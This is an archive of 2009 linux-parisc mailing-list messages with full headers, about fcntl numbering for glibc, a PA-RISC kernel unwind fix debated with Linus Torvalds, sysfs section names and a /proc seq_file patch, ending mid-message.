	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Nov 2009 14:55:40 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:41595 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752017AbZK2Tzk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Nov 2009 14:55:40 -0500
Original-Received: (qmail invoked by alias); 29 Nov 2009 19:55:44 -0000
Original-Received: from p4FDB3105.dip0.t-ipconnect.de (EHLO halden.box) [79.219.49.5]
  by mail.gmx.net (mp042) with SMTP; 29 Nov 2009 20:55:44 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18bBLFWn3Qb+KUFeQ8/lokeBinqNFsqfCdN5dkw4M
	hAGhj1HuQ//kK9
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <119aab440911291017h1704a159j61421323b8099a3@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.54
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2382
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2382>

On 11/29/2009 07:17 PM, Carlos O'Donell wrote:
> On Fri, Nov 27, 2009 at 5:20 PM, Helge Deller<deller@gmx.de>  wrote:
>> Hi Carlos,
>>
>> FWIW, Stephen's patch has been applied to mainline (2.6.32-rc8) in the
>> meantime...
>
> Thanks Helge. Could you do some sleuthing for me? Were the F_SETOWN_EX
> and F_GETOWN_EX ever in any released kernel?

Those were added by this commit:

commit ba0a6c9f6fceed11c6a99e8326f0477fe383e6b5
Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
Date:   Wed Sep 23 15:57:03 2009 -0700
     fcntl: add F_[SG]ETOWN_EX

Linux kernel 2.6.31 was tagged:
Date:   Wed Sep 9 15:13:59 2009 -0700
(according to the git-log of the top Makefile)

So I don't think they were ever in any released kernel.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix unwind with recent gcc versions
Date: Sun, 29 Nov 2009 21:23:10 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <4B12D82E.9020103@gmx.de>
References: <20091128203311.GA24165@hera.kernel.org> <alpine.LFD.2.00.0911290929110.3684@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259526209 32323 80.91.229.12 (29 Nov 2009 20:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Nov 2009 20:23:29 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 29 21:23:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEqIj-0000PV-23
	for glpp-linux-parisc@lo.gmane.org; Sun, 29 Nov 2009 21:23:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751559AbZK2UXN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Nov 2009 15:23:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752381AbZK2UXN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Nov 2009 15:23:13 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33812 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751559AbZK2UXN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Nov 2009 15:23:13 -0500
Original-Received: (qmail invoked by alias); 29 Nov 2009 20:23:13 -0000
Original-Received: from p4FDB3105.dip0.t-ipconnect.de (EHLO halden.box) [79.219.49.5]
  by mail.gmx.net (mp068) with SMTP; 29 Nov 2009 21:23:13 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18HmrY8hP4HomFqBBbPJTlmJMZ3W2E1iBRFf11trm
	+R4Aq0Z0Y/hlhE
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <alpine.LFD.2.00.0911290929110.3684@localhost.localdomain>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2383
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2383>

On 11/29/2009 06:34 PM, Linus Torvalds wrote:
> On Sat, 28 Nov 2009, Kyle McMartin wrote:
>>
>> From: Helge Deller<deller@gmx.de>
>>
>> kernel unwinding is broken with gcc>= 4.x. Part of the problem is, that
>> binutils seems sensible where the unwind information is stored.
>
> The commentary doesn't seem to make much sense to me. Do you mean
> "sensitive" rather than "sensible"? And is it an actual binutils bug, or
> what?

Yes, sorry, I meant "sensitive".

It's a combination of lots of things. Newer gcc, with newer binutils and
all latest changes to our parisc arch/parisc/kernel/vmlinux.lds.S linker
script, e.g.:

commit ab635e7d499f23a5791e69e2ebbc9a40c9983d89
Author: Tim Abbott <tabbott@ksplice.com>
Date:   Thu Sep 24 10:36:18 2009 -0400
     parisc: Remove useless altinstructions code copied from x86.

commit 57a8e1161e1a944823542138e61dd8f38fd9b9e8
Author: Tim Abbott <tabbott@ksplice.com>
Date:   Thu Sep 24 10:36:17 2009 -0400
     parisc: Clean up linker script using new linker script macros.

commit 023bf6f1b8bf58dc4da7f0dc1cf4787b0d5297c1
Author: Tejun Heo <tj@kernel.org>
Date:   Thu Jul 9 11:27:40 2009 +0900
     linker script: unify usage of discard definition

commit 405d967dc70002991f8fc35c20e0d3cbc7614f63
Author: Tejun Heo <tj@kernel.org>
Date:   Wed Jun 24 15:13:38 2009 +0900
     linker script: throw away .discard section

All those patches (which are basically OK), triggers a new
layout location for our unwind tables and as such broke
our existing unwinding.

My patch basically just gets it right again.

> Also, are the PARISC people 100% sure that you really want unwinding in
> the first place?

No, but it's the only and best thing we have available right now.
There have been discussions about other options like dwarf and similiar though:
http://marc.info/?l=linux-parisc&m=124694174008515&w=2

>We got rid of it as being terminally broken on x86,
> because tools and asm always got it wrong, and special things like irq
> frames etc continually broke it in the most annoying ways possible (ie
> WARN_ON() statements became fatal oopses due to unwind errors etc).
> Having a tentative and unreliable stack trace is generally better than
> a totally broken one.

Yes we had oopses as well. Current code tries hard to not unwind outside
of the kernel text segment. This fixed most issues and in the past weeks
I didn't faced any other problems with unwinding (which doesn't mean there
aren't any other problems left).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Sun, 29 Nov 2009 19:19:22 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440911291619h649736f7hc077412ca8ce890c@mail.gmail.com>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>
	 <20091119032220.GG28962@bombadil.infradead.org>
	 <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com>
	 <1258651414.6363.12.camel@mulgrave.site>
	 <119aab440911201457j1727576blde3c62569f927711@mail.gmail.com>
	 <4B10509D.3020400@gmx.de>
	 <119aab440911291017h1704a159j61421323b8099a3@mail.gmail.com>
	 <4B12D1BD.90602@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1259540375 4146 80.91.229.12 (30 Nov 2009 00:19:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Nov 2009 00:19:35 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 30 01:19:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEtzD-0003ln-Bn
	for glpp-linux-parisc@lo.gmane.org; Mon, 30 Nov 2009 01:19:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751865AbZK3ATT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Nov 2009 19:19:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751946AbZK3ATT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Nov 2009 19:19:19 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:33764 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751865AbZK3ATT convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Nov 2009 19:19:19 -0500
Original-Received: by bwz27 with SMTP id 27so2164699bwz.21
        for <linux-parisc@vger.kernel.org>; Sun, 29 Nov 2009 16:19:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=p6rCdFktddmCY3F3xm6wE3vBJVvakreAechbuQLlDCA=;
        b=piqloUG2m3NdHSS/KnNlqGsWxVJVJUu81CkQQEn58hMKXt7aWEglbPfOVquWJt/eUT
         NyWSpnJQK6PuVD3WuYMlyQ9mCUIUEAe2mmlyfk8FJD9zGVriKL5aFGCN8Mf7vXORoKE2
         obqOjds/OhwsidvgQ6Uyw3d6e88p6qyDgKZIE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=qX1GgiLaPRtEyChjZ/w+JcEOvvtubClhlT8I1V1nvG6l36Qx7HMcx371JSvJDyzVV1
         m4CGRojtVGUG4ufiRWPucSiIqhK0TbSmDvIyPfW+ZjPeUD5e8WMATexIIOCUZOgsc4f9
         A47I4FqCHFGZEtBk/1sU2sqgnpz/NcYe60Dsc=
Original-Received: by 10.204.48.144 with SMTP id r16mr3794245bkf.170.1259540362588; 
	Sun, 29 Nov 2009 16:19:22 -0800 (PST)
In-Reply-To: <4B12D1BD.90602@gmx.de>
X-Google-Sender-Auth: 1e0aa5063bfdb11b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2384
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2384>

On Sun, Nov 29, 2009 at 2:55 PM, Helge Deller <deller@gmx.de> wrote:
> Those were added by this commit:
>
> commit ba0a6c9f6fceed11c6a99e8326f0477fe383e6b5
> Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
> Date: =A0 Wed Sep 23 15:57:03 2009 -0700
> =A0 =A0fcntl: add F_[SG]ETOWN_EX
>
> Linux kernel 2.6.31 was tagged:
> Date: =A0 Wed Sep 9 15:13:59 2009 -0700
> (according to the git-log of the top Makefile)
>
> So I don't think they were ever in any released kernel.

Thanks Helge. I'll make sure glibc gets adjusted according to the new n=
umbers.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Sun, 29 Nov 2009 20:41:37 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <20091130044137.59265D6D2@magilla.sf.frob.com>
References: <4A89CC4D.5040801@gmx.de>
	<20090818050637.4C3E74730F@magilla.sf.frob.com>
	<1250640565.15079.3.camel@mulgrave.site>
	<200908251707.01610.rusty@rustcorp.com.au>
	<20091127221156.GA5334@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259556125 1874 80.91.229.12 (30 Nov 2009 04:42:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Nov 2009 04:42:05 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	dave@hiauly1.hia.nrc.ca
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 30 05:41:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEy5E-000367-FR
	for glpp-linux-parisc@lo.gmane.org; Mon, 30 Nov 2009 05:41:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752750AbZK3Elt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Nov 2009 23:41:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752885AbZK3Elt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Nov 2009 23:41:49 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:61336 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752374AbZK3Els (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Nov 2009 23:41:48 -0500
Original-Received: from int-mx03.intmail.prod.int.phx2.redhat.com (int-mx03.intmail.prod.int.phx2.redhat.com [10.5.11.16])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id nAU4ff0p015708
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sun, 29 Nov 2009 23:41:41 -0500
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx03.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id nAU4fb0s015720;
	Sun, 29 Nov 2009 23:41:40 -0500
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 66EF9357B; Sun, 29 Nov 2009 20:41:37 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 59265D6D2; Sun, 29 Nov 2009 20:41:37 -0800 (PST)
X-Fcc: ~/Mail/linus
In-Reply-To: Helge Deller's message of  Friday, 27 November 2009 23:11:57 +0100 <20091127221156.GA5334@p100.box>
X-Shopping-List: (1) Advantageous anonymous accusers
   (2) Sunburnt voracious welts
   (3) Scrumptious optimistic compressors
   (4) Preposterous sandwiches
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.16
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2385
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2385>

> Since the sections are empty anyway, I don't see any reason
> why those section names need to be exported via sysfs.
> 
> Let's just drop them, which works for parisc (and should for any
> other architecture too).

That seems fine to me.


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Mon, 30 Nov 2009 01:18:18 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20091130061817.GL28962@bombadil.infradead.org>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com> <20091119032220.GG28962@bombadil.infradead.org> <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com> <1258651414.6363.12.camel@mulgrave.site> <119aab440911201457j1727576blde3c62569f927711@mail.gmail.com> <4B10509D.3020400@gmx.de> <119aab440911291017h1704a159j61421323b8099a3@mail.gmail.com> <4B12D1BD.90602@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259561912 12714 80.91.229.12 (30 Nov 2009 06:18:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Nov 2009 06:18:32 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 30 07:18:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEzaZ-00005G-3V
	for glpp-linux-parisc@lo.gmane.org; Mon, 30 Nov 2009 07:18:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750727AbZK3GSP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Nov 2009 01:18:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750828AbZK3GSP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Nov 2009 01:18:15 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:60280 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750727AbZK3GSP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Nov 2009 01:18:15 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NEzaU-0006ol-5X; Mon, 30 Nov 2009 06:18:18 +0000
Content-Disposition: inline
In-Reply-To: <4B12D1BD.90602@gmx.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2386
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2386>

On Sun, Nov 29, 2009 at 08:55:41PM +0100, Helge Deller wrote:
> Those were added by this commit:
>
> commit ba0a6c9f6fceed11c6a99e8326f0477fe383e6b5
> Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
> Date:   Wed Sep 23 15:57:03 2009 -0700
>     fcntl: add F_[SG]ETOWN_EX
>
> Linux kernel 2.6.31 was tagged:
> Date:   Wed Sep 9 15:13:59 2009 -0700
> (according to the git-log of the top Makefile)
>

Helge is quite correct... I pointed this out in a previous email...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix unwind with recent gcc versions
Date: Mon, 30 Nov 2009 09:14:15 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <1259590455.2560.7.camel@mulgrave.site>
References: <20091128203311.GA24165@hera.kernel.org>
	 <alpine.LFD.2.00.0911290929110.3684@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259590471 315 80.91.229.12 (30 Nov 2009 14:14:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Nov 2009 14:14:31 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 30 15:14:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NF71D-0003ys-Vz
	for glpp-linux-parisc@lo.gmane.org; Mon, 30 Nov 2009 15:14:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752106AbZK3OOO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Nov 2009 09:14:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752295AbZK3OOO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Nov 2009 09:14:14 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41585 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752106AbZK3OON (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Nov 2009 09:14:13 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 591F18EE0FC;
	Mon, 30 Nov 2009 06:14:20 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XEQv1Lckoo-H; Mon, 30 Nov 2009 06:14:20 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 67C718EE019;
	Mon, 30 Nov 2009 06:14:18 -0800 (PST)
In-Reply-To: <alpine.LFD.2.00.0911290929110.3684@localhost.localdomain>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2387
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2387>

On Sun, 2009-11-29 at 09:34 -0800, Linus Torvalds wrote:
> Also, are the PARISC people 100% sure that you really want unwinding in 
> the first place? We got rid of it as being terminally broken on x86, 
> because tools and asm always got it wrong, and special things like irq 
> frames etc continually broke it in the most annoying ways possible (ie 
> WARN_ON() statements became fatal oopses due to unwind errors etc).
> 
> Having a tentative and unreliable stack trace is generally better than 
> a totally broken one.

Being a risc system, we don't have a lot of choice.  returns on parisc
are conventionally jump through register two, so without unwind
information we have no idea where in the stack frame (or even if)
they're stored.  Our other problem is that our stack frames have a
predefined size which often doesn't get fully filled, so the stack gets
gummed up with a lot of cruft from previous calls; thus even if we just
trawl it for relevant addresses, we get a lot of bogus information.

Look at it this way:  our unwind information has to be correct otherwise
the debugger would continually fail on the platform, so the tool chain
has an incentive to get it right.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert /proc/pdc/{lcd,led} to seq_file
Date: Tue, 1 Dec 2009 14:07:46 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20091201140746.8d0e740e.akpm@linux-foundation.org>
References: <20091127065112.GC26327@x200.malnet.ru>
	<20091128061354.GA21113@lackof.org>
	<20091128092509.GA4375@x200.malnet.ru>
	<20091129051752.GA14332@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259705318 30657 80.91.229.12 (1 Dec 2009 22:08:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Dec 2009 22:08:38 +0000 (UTC)
Cc: Alexey Dobriyan <adobriyan@gmail.com>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 01 23:08:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NFatZ-0004vO-6G
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Dec 2009 23:08:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752430AbZLAWIV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Dec 2009 17:08:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752667AbZLAWIV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 1 Dec 2009 17:08:21 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:54713 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752430AbZLAWIU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Dec 2009 17:08:20 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id nB1M7k7W017704
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 1 Dec 2009 14:07:47 -0800
Original-Received: from akpm.mtv.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id nB1M7kFW030567;
	Tue, 1 Dec 2009 14:07:46 -0800
In-Reply-To: <20091129051752.GA14332@lackof.org>
X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; x86_64-pc-linux-gnu)
X-Spam-Status: No, hits=-5.018 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2388
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2388>

On Sat, 28 Nov 2009 22:17:52 -0700
Grant Grundler <grundler@parisc-linux.org> wrote:

> > Yes, it's slightly less racy than create_proc_entry().
